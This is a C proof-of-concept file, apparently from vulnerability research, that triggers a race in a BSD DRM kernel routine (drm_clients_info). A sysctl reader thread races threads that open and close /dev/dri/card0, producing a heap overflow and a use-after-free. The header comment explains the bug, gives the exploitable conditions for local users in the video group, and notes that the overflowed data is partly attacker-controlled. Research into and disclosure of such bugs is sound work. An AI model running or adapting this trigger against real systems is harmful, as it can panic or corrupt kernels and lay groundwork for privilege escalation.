DF-4531 / trigger.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 | /* * DF-4531 โ drm_clients_info() two-pass count/copy race -> heap OOB write * ========================================================================= * * Real-world trigger (requires a DRM device on the system): * * Thread B (this process): read sysctl "hw.dri.0.clients" in a tight loop. * Kernel: drm_clients_info() walks dev->filelist counting N entries * (under dev->struct_mutex, drm_sysctl.c:268-272), then does a SLEEPING * kmalloc(M_WAITOK) of N*sizeof(struct drm_file) (drm_sysctl.c:274-275), * then walks the list AGAIN copying each entry into that fixed buffer * (drm_sysctl.c:281-282) with no bound against the stale count N. * * Thread A: concurrently open() /dev/dri/card0 N more times. * Kernel: drm_open_helper() list_add()s each new drm_file onto * dev->filelist under dev->filelist_mutex (drm_file.c:514-516) โ a * DIFFERENT lock than the struct_mutex the sysctl walk holds, so the * growth is not serialized against the sysctl's second pass. * * If the list grows between pass 1 and pass 2, pass 2 writes * (growth * sizeof(struct drm_file)) bytes PAST the end of the * kmalloc'd buffer. The written content is full struct drm_file copies: * attacker-influenced ints (pid, magic, bitfields) plus kernel heap * pointers (idr/list heads) โ a repeatable, partially controlled heap * overflow. The inverse (close() between passes) frees drm_file nodes * the walker still dereferences (kfree at drm_file.c:430 runs outside * both locks) โ a concurrent UAF read. * * sysctl(3) on hw.dri.N.clients is CTLFLAG_RD (world readable, * drm_sysctl.c:94); /dev/dri/cardN is 0660 root:video (drmP.h:108-110), so * any local user in the "video" group (the standard desktop configuration) * has both halves of the race. * * Build: cc -Wall -Wextra -O2 -pthread -o trigger trigger.c * Run: ./trigger [seconds] (default 10) * * Expected on vulnerable hw: heap corruption / panic within the window; * sysctl read output keeps growing. This guest has no DRM device, so the * run honestly reports the hardware gate (see run.log). */ #include <sys/types.h> #include <sys/sysctl.h> #include <errno.h> #include <fcntl.h> #include <pthread.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> static const char *CARD = "/dev/dri/card0"; static const char *SYSCTL = "hw.dri.0.clients"; static volatile int stop; static unsigned long reads_ok, grow_ok; /* Thread B: hammer the sysctl โ each read drives the two-pass walk */ static void * sysctl_reader(void *arg) { char buf[65536]; size_t len; while (!stop) { len = sizeof(buf); if (sysctlbyname(SYSCTL, buf, &len, NULL, 0) == 0) reads_ok++; else if (errno != ENOENT) /* ENOENT = no DRM: hw-gated */ fprintf(stderr, "sysctl %s: %s\n", SYSCTL, strerror(errno)); } return NULL; } /* Thread A: grow the filelist โ each open() is one list_add() of a * struct drm_file; each close() is a list_del() + kfree() */ static void * filelist_grower(void *arg) { int fds[512]; int i, n; while (!stop) { n = 0; for (i = 0; i < 512; i++) { fds[n] = open(CARD, O_RDWR); if (fds[n] < 0) break; n++; } grow_ok += n; for (i = 0; i < n; i++) close(fds[i]); } return NULL; } int main(int argc, char **argv) { int secs = argc > 1 ? atoi(argv[1]) : 10; pthread_t tr, tg; /* hardware gate probe, mirrors DF-4362 precedent */ int fd = open(CARD, O_RDWR); if (fd < 0) { printf("%s: %s โ this system has no DRM device; the race " "cannot be driven here.\n", CARD, strerror(errno)); } printf("trigger: %ds, sysctl=%s card=%s\n", secs, SYSCTL, CARD); pthread_create(&tr, NULL, sysctl_reader, NULL); pthread_create(&tg, NULL, filelist_grower, NULL); sleep(secs); stop = 1; pthread_join(tr, NULL); pthread_join(tg, NULL); printf("sysctl reads driven: %lu, open() grow-cycles: %lu\n", reads_ok, grow_ok); if (fd >= 0) close(fd); return (0); } |